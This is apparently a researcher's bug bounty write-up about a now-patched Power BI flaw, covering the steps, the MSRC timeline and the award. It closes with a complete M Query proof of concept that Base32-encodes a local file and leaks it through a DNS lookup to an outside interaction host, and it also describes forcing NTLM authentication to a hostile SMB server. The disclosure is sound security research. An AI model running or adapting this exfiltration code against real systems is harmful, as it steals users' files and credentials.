Sometimes the best bugs come from a rejection. This is the story of how I turned a dismissed "SMB Credential Leak" into an important "Local File Exfiltration" vulnerability.

Up until the November 2025 patch, a simple malicious PowerBi file could silently read your local files and tunnel them out via DNS, completely bypassing the "Privacy Level" firewall.

This went from "Not a Vulnerability" to a $30,000 bounty because I refused to accept that an unauthorized outbound connection had no real security impact.


The Catalyst: A Failed Report

It started when I found I could force Power BI to connect back to my malicious SMB server. I reported it as a standard "forced authentication" credential leak (NTLM hash theft).

Microsoft refused it. They argued that forcing a connection wasn't enough of a security boundary violation in this context and that modern systems had protection against these kind of credential leaks.

That rejection annoyed me. I thought: "Okay, if you don't care about the connection itself, surely I can do more with that."

That pivot led me to look at what was around the bug itself. And that's how I realize that it was a great exfiltration opportunity.

What Was at Risk?

On an unpatched component using M Query a malicious query could:

  • Read any file on the host filesystem (e.g., C:\Users\admin\.ssh\id_rsa)
  • Encode that file content into a subdomain string
  • Trigger a DNS lookup to an attacker-controlled nameserver
  • Bypass the Privacy Firewall entirely (no "Information is required about data privacy" prompt)

How the PoC Worked

The exploit relies on a bug that would let you verify the existence on a file in a folder open with Folder.Files with full path via Table.SelectRows, which let you poke external servers.

  1. Read: The script reads a sensitive local file (e.g., C:\tmp\secret.txt).
  2. Encode: I convert the binary content to custom Base32 encoding. (Required because standard DNS is case-insensitive, which corrupts Base64).
  3. Construct: I create a dynamic string: \\<ENCODED_SECRET>.attacker.tld\share\fake.txt.
  4. Trigger: I use Table.SelectRows to filter the folder. Power BI thinks, "I need to check if this file exists to run the filter."

The OS sends a DNS A-Record query for SECRET.attacker.com. In my case, the collaborator logs the query.

On Bug Bounty

Even after pivoting to full file exfiltration, it wasn't a straight shot.

Aug 20: I submitted the new report demonstrating file exfiltration.

Sept 08: MSRC rejected it again. "This vulnerability hinges on WebDAV authentication... PowerBI wouldn't be able to probe it."

It seems to have been simple miscommunication.

Sept 08 (Same day): I pushed back immediately. I explained that they were looking at it wrong.

Sept 09: Case Reopened. Severity upgraded to Important.

Sept 23: Awarded $30,000.

Wrapping Up

Rejection is just a challenge. Don't be afraid to try harder and escalate.

Microsoft patched this in the November 2025 Security Update.

The engine now evaluates the privacy scope of a path before attempting to resolve it.

Proof.mp4

Click me for proof


POC

The exploit code abuses the M Query order of operations. Note the custom Base32 implementation to handle DNS case-insensitivity.

let Base32Encode = (binary as binary) as text =>
        let
            alphabet = Text.ToList("ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"),
            bytes = Binary.ToList(binary),
            byteBits = List.Transform(bytes, (b) =>
                List.Transform({0..7}, (i) =>
                    Number.Mod(Number.IntegerDivide(b, Number.Power(2, 7 - i)), 2)
                )
            ),
            bits = List.Combine(byteBits),
            padBits = Number.Mod(5 - Number.Mod(List.Count(bits), 5), 5),
            paddedBits = List.Combine({bits, List.Repeat({0}, padBits)}),
            groups = List.Split(paddedBits, 5),
            values = List.Transform(groups, (g) =>
                List.Sum(List.Transform({0..4}, (i) => g{i} * Number.Power(2, 4 - i)))
            ),
            encoded = List.Transform(values, each alphabet{_}),
            result = Text.Combine(encoded)
        in
            result,

    Source = Folder.Files("C:\\tmp"),
    content = Base32Encode(Source{0}[Content]),
    Filtered = try
        Table.SelectRows(Source, each [Name] = "//" & content & ".4tyvfxctg0ftownaumy3fr5ix930r5fu.oastify.com/zw/")
    otherwise
        #table({}, {}),
    Content = Table.TransformColumns(Filtered, {"Content", each Text.Split(Text.FromBinary(_, TextEncoding.Utf8), "#(lf)")}),
    FirstFile = if Table.RowCount(Content) > 0 then Content{0}[Content] else {},
    AsTable = Table.FromList(FirstFile, Splitter.SplitByNothing(), {"Line"})
in
    AsTable